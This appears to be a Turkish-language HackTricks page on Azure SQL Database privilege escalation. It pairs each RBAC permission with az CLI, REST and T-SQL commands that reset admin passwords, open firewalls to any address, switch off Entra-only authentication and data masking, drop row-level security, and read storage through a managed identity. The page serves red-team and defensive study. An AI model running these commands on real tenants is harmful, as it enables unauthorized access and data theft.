Az - SQL Database Privesc

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

SQL Database Privesc

SQL Database hakkında daha fazla bilgi için kontrol edin:

Az - SQL

Microsoft.Sql/servers/read && Microsoft.Sql/servers/write

Bu izinlerle, bir kullanıcı Azure SQL sunucularını güncelleyerek veya oluşturarak ayrıcalık yükseltmesi yapabilir ve kritik yapılandırmaları, yönetici kimlik bilgileri de dahil olmak üzere, değiştirebilir. Bu izin, kullanıcının sunucu özelliklerini güncellemesine, SQL sunucu yönetici şifresini de içerecek şekilde, yetkisiz erişim veya sunucu üzerinde kontrol sağlamasına olanak tanır. Ayrıca yeni sunucular oluşturabilirler, bu da kötü niyetli amaçlar için gölge altyapı oluşturma potansiyeli taşır. Bu, “Microsoft Entra Authentication Only” devre dışı bırakıldığında özellikle kritik hale gelir, çünkü SQL tabanlı kimlik doğrulamasını kullanarak sınırsız erişim elde edebilirler.

# Change the server password
az sql server update \
--name <server_name> \
--resource-group <resource_group_name> \
--admin-password <new_password>

# Create a new server
az sql server create \
--name <new_server_name> \
--resource-group <resource_group_name> \
--location <location> \
--admin-user <admin_username> \
--admin-password <admin_passwor d>

Ayrıca, özel bir uç noktadan erişmek istemiyorsanız, genel erişimin etkinleştirilmesi gereklidir, bunu etkinleştirmek için:

az sql server update \
--name <server-name> \
--resource-group <resource-group> \
--enable-public-network true

Ayrıca, izinlerle atanan kimliği etkinleştirebilir ve sunucuya bağlı yönetilen kimlikle işlem yapabilirsiniz. Örneğin, burada Azure Storage’a erişebilen bir yönetilen kimlikle:

az sql server update \
--name <server-name> \
--resource-group <resource-group> \
--assign_identity
CREATE DATABASE SCOPED CREDENTIAL [ManagedIdentityCredential]
WITH IDENTITY = 'Managed Identity';
GO


CREATE EXTERNAL DATA SOURCE ManagedIdentity
WITH (
TYPE = BLOB_STORAGE,
LOCATION = 'https://<storage-account>.blob.core.windows.net/<container>',
CREDENTIAL = ManagedIdentityCredential
);
GO

SELECT *
FROM OPENROWSET(
BULK 'message.txt',
DATA_SOURCE = 'ManagedIdentity',
SINGLE_CLOB
) AS DataFile;
GO

Microsoft.Sql/servers/firewallRules/write

Bir saldırgan, Azure SQL sunucularındaki güvenlik duvarı kurallarını manipüle ederek yetkisiz erişime izin verebilir. Bu, sunucuyu belirli IP adreslerine veya tüm IP aralıklarına, kamu IP’leri de dahil olmak üzere, açmak için istismar edilebilir ve kötü niyetli aktörler için erişim sağlanabilir. Bu post-exploitation aktivitesi, mevcut ağ güvenlik kontrollerini aşmak, kalıcılık sağlamak veya hassas kaynakları açığa çıkararak ortam içinde yan hareketi kolaylaştırmak için kullanılabilir.

# Create Firewall Rule
az sql server firewall-rule create \
--name <new-firewall-rule-name> \
--server <server-name> \
--resource-group <resource-group> \
--start-ip-address <start-ip-address> \
--end-ip-address <end-ip-address>

# Update Firewall Rule
az sql server firewall-rule update \
--name <firewall-rule-name> \
--server <server-name> \
--resource-group <resource-group> \
--start-ip-address <new-start-ip-address> \
--end-ip-address <new-end-ip-address>

Ayrıca, Microsoft.Sql/servers/outboundFirewallRules/delete izni, bir Güvenlik Duvarı Kuralını silmenizi sağlar.
NOT: Kamu erişiminin etkin olması gerekmektedir.

Microsoft.Sql/servers/ipv6FirewallRules/write

Bu izinle, bir Azure SQL Sunucusunda IPv6 güvenlik duvarı kuralları oluşturabilir, değiştirebilir veya silebilirsiniz. Bu, bir saldırganın veya yetkili bir kullanıcının mevcut ağ güvenlik yapılandırmalarını atlamasına ve sunucuya yetkisiz erişim sağlamasına olanak tanıyabilir. Herhangi bir IPv6 adresinden gelen trafiğe izin veren bir kural ekleyerek, saldırgan sunucuyu dış erişime açabilir.

az sql server firewall-rule create \
--server <server_name> \
--resource-group <resource_group_name> \
--name <rule_name> \
--start-ip-address <start_ipv6_address> \
--end-ip-address <end_ipv6_address>

Ayrıca, Microsoft.Sql/servers/ipv6FirewallRules/delete izni, bir Güvenlik Duvarı Kuralını silmenizi sağlar.
NOT: Kamu erişiminin etkin olması gerekmektedir.

Microsoft.Sql/servers/administrators/write && Microsoft.Sql/servers/administrators/read

Bu izinlerle, Azure SQL Server ortamında SQL veritabanlarına erişerek kritik bilgilere ulaşabilirsiniz. Aşağıdaki komutu kullanarak, bir saldırgan veya yetkili kullanıcı kendisini veya başka bir hesabı Azure AD yöneticisi olarak ayarlayabilir. “Microsoft Entra Authentication Only” etkinse, sunucuya ve örneklerine erişebilirsiniz. İşte bir SQL sunucusu için Azure AD yöneticisini ayarlamak için komut:

az sql server ad-admin create \
--server <server_name> \
--resource-group <resource_group_name> \
--display-name <admin_display_name> \
--object-id <azure_subscribtion_id>

Microsoft.Sql/servers/azureADOnlyAuthentications/write && Microsoft.Sql/servers/azureADOnlyAuthentications/read

Bu izinlerle, bir Azure SQL Sunucusunda “Microsoft Entra Authentication Only” yapılandırabilir ve uygulayabilirsiniz, bu da belirli senaryolarda ayrıcalık yükseltmesini kolaylaştırabilir. Bu izinlere sahip bir saldırgan veya yetkili bir kullanıcı, yalnızca Azure AD kimlik doğrulamasını etkinleştirebilir veya devre dışı bırakabilir.

#Enable
az sql server azure-ad-only-auth enable \
--server <server_name> \
--resource-group <resource_group_name>

#Disable
az sql server azure-ad-only-auth disable \
--server <server_name> \
--resource-group <resource_group_name>

Microsoft.Sql/servers/databases/dataMaskingPolicies/write

SQL veritabanlarınızdaki veri maskeleme politikalarını değiştirin (veya devre dışı bırakın).

az rest --method put \
--uri "https://management.azure.com/subscriptions/<your-subscription-id>/resourceGroups/<your-resource-group>/providers/Microsoft.Sql/servers/<your-server>/databases/<your-database>/dataMaskingPolicies/Default?api-version=2021-11-01" \
--body '{
"properties": {
"dataMaskingState": "Disable"
}
}'

Row Level Security’yi Kaldır

Eğer admin olarak giriş yapıyorsanız, adminin ve diğer kullanıcıların politikalarını kaldırabilirsiniz.

DROP SECURITY POLICY [Name_of_policy];

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin